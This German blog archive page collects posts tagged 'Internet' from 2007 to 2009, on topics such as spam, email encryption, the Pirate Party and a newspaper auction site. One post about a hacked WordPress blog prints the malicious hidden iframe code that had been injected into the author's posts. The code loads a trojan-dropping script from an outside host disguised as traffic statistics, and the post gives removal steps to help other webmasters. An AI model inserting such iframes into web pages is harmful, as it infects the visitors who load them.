Mit ‘Internet’ verschlagwortete Einträge

Piraten auch in Südoldenburg

Mittwoch, 14. Oktober, 2009

Berliner Wunschkoalition: Erststimme Grün, Zweitstimme Piraten. Chaos total!

„Piraten entern das Oldenburger Münsterland“  titelt meine Lieblingszeitung heute. Die neue Piratenpartei, in hiesigen Landen zumindest bei Menschen nicht ganz jungen Alters noch ein völlig unbeschriebenes Blatt, wird auch bei uns aktiv.

In Vechta entsteht ein „Stammtisch“, ist zu lesen. Was ist ganz neu an den „Piraten“? Sie treten zumindest im Großstadtwahlkampf als ein lockerer Haufen auf, der sich unkonventionell gibt. Politsche Forderungen sind auf den ersten Blick gar nicht erkennbar, die Demo scheint eher ein  Partyevent zu sein.

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Die Spammail stirbt nicht aus

Donnerstag, 17. September, 2009

Wer ist eigentlich noch so blöd, Spammails zu öffnen? Anscheinend mehr als man glaubt. Zumindest wenn man Berichten über Aussagen von Experten glaubt. (mehr…)

Videos im Internet verwalten

Dienstag, 17. Februar, 2009

Das Internet bietet eine Fülle von Videoplattformen und sozialen Netzwerken, auf denen man Videos sammeln oder auch eigene Videos veröffentlichen kann. Dies bringt Vor- und auch Nachteile. Ist YouTube wirklich die beste Videoseite? Wie kann man ein Video in WordPress oder auch anderen Blogs einbinden? Ich habe mal mehrere Möglichkeiten zu diesem Themenkreis untersucht. (mehr…)

Mailen mit Stil statt Schlamperei im Netz

Montag, 22. Dezember, 2008

Die Email ist heute das alltägliche Kommunikationsmittel. Sie ersetzt zunehmend den Brief. Während man sich bei letzterem meistens an ein Mindestmaß an Form hält, wird die Email häufig stilmäßig sehr stiefmütterlich behandelt. (mehr…)

Sicherer Umgang mit Emails

Montag, 3. März, 2008

In der Blogstatistik stelle ich immer wieder fest, dass Leute nach Tipps zum Umgang mit Emails suchen. Wie schützt man sich gegen die Flut von unerwünschten Emails, zum Teil sogar mit gefährlichen Schadprogrammen (Viren) im Gepäck? Zwar gibt es hierzu eine Fülle von Informationen im Netz. Jedoch nur wenige, die für Privatanwender eine klare Übersicht zum Thema bieten. Ich möchte hier meine Erfahrungen mitteilen.

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Rundschreiben per Email sicher senden

Montag, 11. Februar, 2008

Mittlerweile ist es schon beim letzten Zeitgenossen angekommen, wie bequem es ist, Neuigkeiten per Email zu senden. Ich bekomme solche Rundschreiben von Vereinen, Musikerkollegen und Privatleuten. In absehbarer Zeit gibt es niemanden mehr, der nicht per Email erreichbar ist. Dann wird das elektronische Rundschreiben in jedem Verein Standart sein. Viele Versender solcher Nachrichten sind dabei häufig sehr gedankenlos im Umgang mit den Daten ihrer Empfänger.

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Böser Code im WordPress-Blog

Mittwoch, 23. Januar, 2008

TrojanerwarnungTrojaner-Warnungen können Nerven, Zeit und Kopfschmerzen kosten. Auf den von mir verwalteten WordPress-Blogs http://fv-bakum.de und http://feuerwehr-bakum.de schlich sich böser Code ein. Beide laufen auf einem auf einem 1&1-Webspace installierten WordPress-System. Besucher sprachen mich immer wieder darauf an, dass ein Trojaner auf meinen Seiten wäre.

Es handelte sich um den Trojaner „TR/Dldr.HTML.Agent.IS“. Falls Ihr Antivirenprogramm beim Besuch einer Internetseite alarmiert hat, benachrichtigen Sie bitte den Webmaster mit einem Hinweis auf diese Seite. Wie Sie als Webmaster diesen Trojaner aus Ihrem Blog entfernen können, erfahren Sie unten am Ende des Beitrags.

Ich konnte mir dies gar nicht denken, aber weil sich diese Warnungen häuften, beschloss ich der Sache auf den Grund zu gehen. Da ich aus Sicherheitsgründen immer mit dem Firefox-Browser von einem eingeschränkten Nutzerkonto aus ins Internet gehe, hat mich mein Antivirenprogramm Antivir nie vor einem gefährlichen Trojaner gewarnt. Anscheinend mag der den Firefox nicht.

Ich erkundigte zunächst mich im WordPress-Deutschland-Forum. Dort waren die Reaktionen erst ratlos. Ein Trojaner habe man nicht auf meinen Seiten gefunden. Einer fand aber dann doch eine solch gefährliche Warnung. Anscheinend surfen die Spezis in diesem Forum wohl auch nicht mit dem Internet Explorer.

Nun wechselte ich in das Administrationskonto und rief mit dem Internet Explorer 7 beide Seiten auf. Leider ist dies ja immer noch der übliche und ziemliche unsichere Weg des Normalnutzers von Computern in das Internet. Und sofort warnte mich Antivir: Das „Trojanische Pferd TR/Dldr.HTML.Agent.IS“ verlangte den Zugriff auf meinen Rechner. Zur großen Darstellung der Warnung …

Ich hatte bereits Stunden verwandt, um alle Dateien meiner WordPress-Installationen (mit den dazu notwendigen Datensicherungen) auszutauschen. Jedoch war dies erfolglos. Der Trojaner wollte nicht weichen. Nach einigen Rückfragen im WordPressforum stellte sich heraus: Ein böser Code wurde einfach mit einem Verweis auf eine Script-Datei in meinen Beiträgen eingebettet, mit der anscheinend dieser Trojaner in fremde Rechner geschleust wird:

<iframe src=“http://www.wp-stats-php.info/iframe/wp-stats.php“ frameborder=“0″ height=“1″ width=“1″></iframe> oder

<!– Traffic Statistics –> <iframe src=“http://61.155.8.157/iframe/wp-stats.php“ frameborder=“0″ height=“1″ width=“1″></iframe> <!– End Traffic Statistics –>

Wenn man diesen Quellcode liest glaubt man, es handle sich um eine Statistikfunktion von WordPress. Doch da irrt man gewaltig. Die Domains wp-stats-php.info bzw. http://61.155.8.157 sind in   China registriert. Beim Aufruf eines derart infizierten Beitrags wundert man sich, dass die Ladezeit erheblich verlängert wird. In der Statuszeile des Browsers erscheint „wp-stats …info“. Da dies so ähnlich aussieht wie eine interne WordPress-Funktion, schöpft man nicht so schnell Verdacht, dass in diesem Moment ein Trojaner von einer chinesischen Quelle aus dem Rechner eingeschleust wird.

Ein einfacher Blick in den Seitenquelltext eines Beitrags reicht aus, diesen schädlichen Code in den Beiträgen sofort zu entdecken. Selbstverständlich habe ich die „infizierten“ Beiträge sofort entfernt. Bei einem Update der WordPress-Installation werden die Beiträge nicht geändert. Deshalb konnte der schädliche Code beim Auswechseln der WordPress-Dateien auch nicht beseitigt werden sondern nur, indem man die betroffenen Beiträge entfernt.

Der Code versteckt sich im HTML-Code eines Beitrags, welcher nach Erzeugung durch das WordPress-Script in der mysql-Datenbank abgelegt und gespeichert wird. Wird der Beitrag aus der Datenbank abgefragt, wird auch wieder der in der Datenbank abgelegte böswillige und für den normalen Nutzer nicht sichtbare Code im Beitrag hinzugefügt. Der Code versteckt sich also in der Datenbank und nicht direkt in den Script-Dateien von WordPress.

Das gleiche Problem ist übrigens nicht nur bei WordPress-Blogs sondern auch bei Homepages, die mit Joomla verwaltet werden, aufgetreten.

Nur was soll man jetzt noch machen? Wo ist die Sicherheitslücke? Wie kommt dieser böse Quelltext in mein Blog? Wie kann man verhindern, das dieser Code sich so einfach in ein WordPress-Blog schleichen kann? Ich habe alle Dateien der Installation getauscht, meinen Rechner mit dem Antivirenprogramm Antivir gescannt. Nun weiß ich auch nicht, was ich sonst noch so tun kann.

Um den „Trojaner“ aus Ihrem Blog zu löschen, rufen Sie mit Ihrem Browser die Seiten mit Ihren Beiträgen auf. Bei den WordPress-Blogs sind dies standartmäßig die Startseite und bei vielen Beiträgen die weiter gelinkten Fortsetzungsseiten. Nun müssen Sie sich den Quelltext dieser Seite ansehen. Klicken Sie dazu mit der rechten Maustaste auf die Seite und wählen Sie „Quellcode anzeigen“ aus. Der Quellcode wird angezeigt. Schauen Sie nach, in welchem Beitrag der Quellcode

<iframe src=“http://www.wp-stats-php.info/iframe/wp-stats.php“ frameborder=“0″ height=“1″ width=“1″></iframe>“ oder ähnlich, z.B.:

<!– Traffic Statistics –> <iframe src=“http://61.155.8.157/iframe/wp-stats.php“ frameborder=“0″ height=“1″ width=“1″></iframe> <!– End Traffic Statistics –>
vorhanden ist. Melden Sie sich jetzt in Ihren Blog an und löschen Sie den betreffenden Beitrag aus Ihrem Blog. Alternativ können Sie auch nur den böswilligen Code aus dem HTML-Code des befallenen Beitrag entfernen, wenn sie den Beitrag nicht löschen möchten.  Damit haben Sie den Code gelöscht, über den der Trojaner in Ihr Blog eindringt. Für die Folgen bei Anwendung dieses Hinweises übernimmt der Verfasser keinerlei Haftung.

Update 04.04.2009: Die Sicherheitslücke scheint nicht im WordPress-Skript sondern  im FTP:-Protokoll zu liegen. Mit FTP lädt man die Skript-Dateien auf den Server. Anscheinend ist es für die Hacker  möglich, den Zugang zu einem Server zu knacken, wenn er das Zugangsasswort herausfindet.  Dann kann jede Datei auf dem Webserver manipuliert werden. Dies berichtet Florian Flegel in seinem Beitrag  Wer braucht ein AntiVirus-Plugin für WordPress?

Diese Erklärung ist sehr plausibel, zugleich ist dies der Gau des Internets. Denn dann ist jede Website, die auf einem lokalen Webserver gespeichert wird, potentiell manipulierbar. Ich musste diese unangenehme Erfahrung auch bei HTML-Homepages machen. In den Seiten wurde einfach schädlicher Code eingefügt.  Es ist mir immer nach schleierhaft, wie die Angreifer die FTP-Zugangspasswörter, die aus reinen Buchstaben/Zahlenkombinationen bestanden, „errieten“. Flegels Rat zum Schließen dieser Lücke sind „sichere FTP-Passwörter“.

Demnach müssten die drei Passwörter des FTP- Zugangs, der MyQsl-Datenbank und des Zugangs zu WordPress „sicher“ geändert werden, um das System „virendicht zu machen“.  Webmaster aller Länder, wechselt Eure Passwörter! Ist dies wirklich der Schlüssel zum Erfolg?

Emails verschlüsselt versenden

Dienstag, 5. Juni, 2007

email.jpgImmer mehr Leute, wie zum Beispiel auch ich, verschicken ihre „Briefe“ elektronisch per Email. Und gehen damit oft ziemlich sorglos um. Denn unterwegs passiert eine Email viele Rechner, über die Emailadressen und Informationen gesammelt werden können.

Das Bundesamt für Sicherheit in der Informationstechnik (BSI) empfiehlt daher, Emails zu verschlüsseln. Hier kann die Computertechnik, deren Fluch es ist, alle Informationen frei sichtbar weltweit zu verteilen, dazu genützt werden, Vertrauliches zu chiffrieren. Neugierige, wie zum Beispiel auch der Staat und Kriminelle, haben es dann wesentlich schwerer, andere auszuschmüffeln.

Da mich dies interessierte, habe ich zwei Möglichkeiten zur Verschlüsselung von Emails auf Windowsrechnern ausprobiert. Das BSI hat mit gpg4win ein kostenloses Programmpaket zur Verschlüsselung von Emails und Dateien zusammenstellen lassen. Die zweite Alternative bietet das Emailprogramm Thunderbird mit dem Zusatzmodul (ADD-ON) Enigmail.

In beiden Fällen wird die OpenPGP-Verschlüsselung im Hintergrund integriert. Um Emails zu verschlüssen und entschlüsseln benötigt man ein Schlüsselpaar, welches aus einem privaten und öffentlichen Schlüssel besteht. Damit der Empfänger die verschlüsselten Emails dekodieren kann, benötigt er den öffentlichen Schlüssel, die er als Datei vom Versender erhalten haben muss. Ansonsten erscheint die Email als unlesbarer Zeichenkauderwelsch.

Die Installation von gpg4win ist sehr einfach. Nachdem das Programm heruntergeladen wurde, können die Programmmodule mit einer einfachen Installationsroutine auf den Rechner gebracht werden. Der Vorteil von gpg4win ist, dass nicht nur Emails sondern alle Dateien auf dem Rechner verschlüsselt werden können. Man kann also zum Beispiel auch ein Word-Dokument verschlüsseln und per Email versenden. Mit gpg4win kann der Empfänger, vorausgesetzt, er hat den Schlüssel, die Worddatei in Klarschrift zurückverwandeln. Zum Verschlüsseln kopiert man die Daten der jeweiligen Anwendung in die Zwischenablage, läßt sie mit OpenPGP verschlüsseln und kopiert sie dann codiert wieder in die Datei. Dies ist allerdings ein wenig umständlich.

Will man nur Emails verschlüsseln, bietet der ebenfalls kostenlose Thunderbird die komfortablere Variante. Will man eine Email verschlüsselt versenden, braucht man nur auf einen Button „OpenPGP“ zu klicken und schon erledigt das Programm alles automatisch. Erhält man eine verschlüsselte Email, entschlüsselt der Thunderbird die Email automatisch, sofern man den richtigen Schlüssel hat. Die Installation der Verschlüsselung beim Thunderbird ist allerdings ein wenig komplizierter. Neben dem ADD-ON Enigmail muss auch noch die Verschlüsselungssoftware GnuPG installiert sein. Ein weiterer Nachteil ist, das nur Email, nicht aber angehängte Dateien verschlüsselt werden können.

Facit: Für alle, die häufig sensible Dateien per Email versenden wollen, gpg4win die optimale Lösung zur Verschlüsselung. Für alle Anwender, die nur ihre Email vor unerwünschtem Einblick schützen wollen, bietet der Thunderbird mit dem Add-On Enigmail die komfortabeler und einfacher zu bedienende Variante.  Eigentlich sollte jede Email verschlüsselt sein. Ob sich dies durchsetzt ist fraglich. Denn dazu müssen sowohl der Empfänger als auch der Emailsender bereit sein und die dafür notwendigen Programme installiert haben. Meinen Freunden und Bekannten sende ich auf Wunsch gerne den öffentlichen Schlüssel zu meinen Mailadressen zu!

Linktipps:

Installation von gpg4win …
Installation von Enigmail beim Thunderbird …
Direktlink zum Download von GnuPG für Windows XP

Tz-bay.de – Online Auktion der NOZ

Freitag, 23. Februar, 2007

tz-baytumbnail.jpgNicht nur der Handel, sondern auch Tageszeitungen leiden darunter, dass durch den Internethandel immer mehr Kunden verloren gehen. Die Neue Osnabrücker Zeitung (NOZ) gründete tz-bay.de, eine eigene regionale Online-Auktion.

Um gewerbliche Händler für diese Auktionsplattform zu interessieren, versandte sie im Februar an Unternehmen der Region einen Werbeflyer. Mit tz-bay.de will die NOZ Anzeigenkunden halten und gewinnen.

Dies soll wie auf folgender Grafik funktionieren:
zur Anzeigengrafik …

Die Online Auktion tz-bay.de dient keineswegs als Vertriebskanal für Händler sondern nur zum Vertrieb von Werbung. Der Händler kann zwar sein Produkt auf tz-bay.de zur Auktion anbieten. Er bekommt aber keineswegs den Verkaufserlös ausgezahlt sondern nur eine Gutschrift für Anzeigen in der Osnabrücker Tageszeitung. Die Gutschrift beträgt im jeden Falle den vollen Ladenpreis des Auktionsgegenstandes. Daher ist tz-bay.de für private Anbieter – im Gegensatz zu Ebay.de – uninteressant und richtet sich vor allem an gewerbliche Händler aus der Region.

Der Verlag verspricht den Händlern erhöhte Kundenfrequenz vor Ort, ein Anzeigenguthaben bei verkauften Produkten im Wert des vollen Ladenpreises, und Zusatzumsätze bei Impulskäufen. Im Falle, dass das Auktionsgut nicht verkauft wurde, verspricht der Verlag den Händlern allein aufgrund der Teilnahme an der Auktion einen kostenlosen Werbeauftritt. Der Auktionszeitraum ist auf eine Woche begrenzt. Die Internetauktion wird durch Bekanntmachung in den Printmedien bekannt gemacht.

Die Internetauktion tz-bay.de findet nur in kurzen Aktionszeiträumen statt. Zur Zeit ist die Auktion offline. Die regionale Auktionsplattform der Regionalzeitung NOZ wurde im ersten Auktionszeitraum (21. bis 30. April 2007) von den Händlern und offenbar auch Käufern durchaus angenommen. Viele Anbieter stellten zahlreiche Auktionsangebote bei tz-bay.de ein. Vom Skoda Neuwagen bis zur Besamung von Stuten wurde alles mögliche angeboten. Über die Hintergründe dieser Auktionsplattform erfährt der Besucher der Internetauktion nichts. Vom 10. bis 18. November wurde diese Auktion wiederholt, pünktlich zum Beginn des Weihnachtsgeschäfts. Auch während dieser Auktion wurde wieder vom Rindfleischpaket bis zum Kinderwagen alles mögliche angeboten. Für die Neue Osnabrücker Zeitung wird es sich auf jeden Fall wieder gelohnt haben. Technisch wird die Auktionsplattform Ultimate Auction bei tz-bay.de eingesetzt.

Die Auktion der Neuen Osnabrücker Zeitung ist gegenwärtig offline. Die Homepage von tz-bay ist zur Zeit ebenfalls von gestern. Wer auf http://tz-bay,de klickt, wird auf die Auktion vom 10. bis 18. November 2007 hingewiesen. Kurioserweise wird seit Monaten auch noch ein rückwärts laufender Countdown auf der Homepage eingeblendet. Keine gute Werbung für ein Medienhaus. Anscheinend hat man dort das Medium Internet bislang noch nicht verstanden.

Auch die Nordwest Zeitung Oldenburg führt zur Zeit eine Leserauktion durch. Sie scheint ähnlich abzulaufen wie Tz-bay.de: nwz-hammerauktion.de …

(Update: 14.03.2009)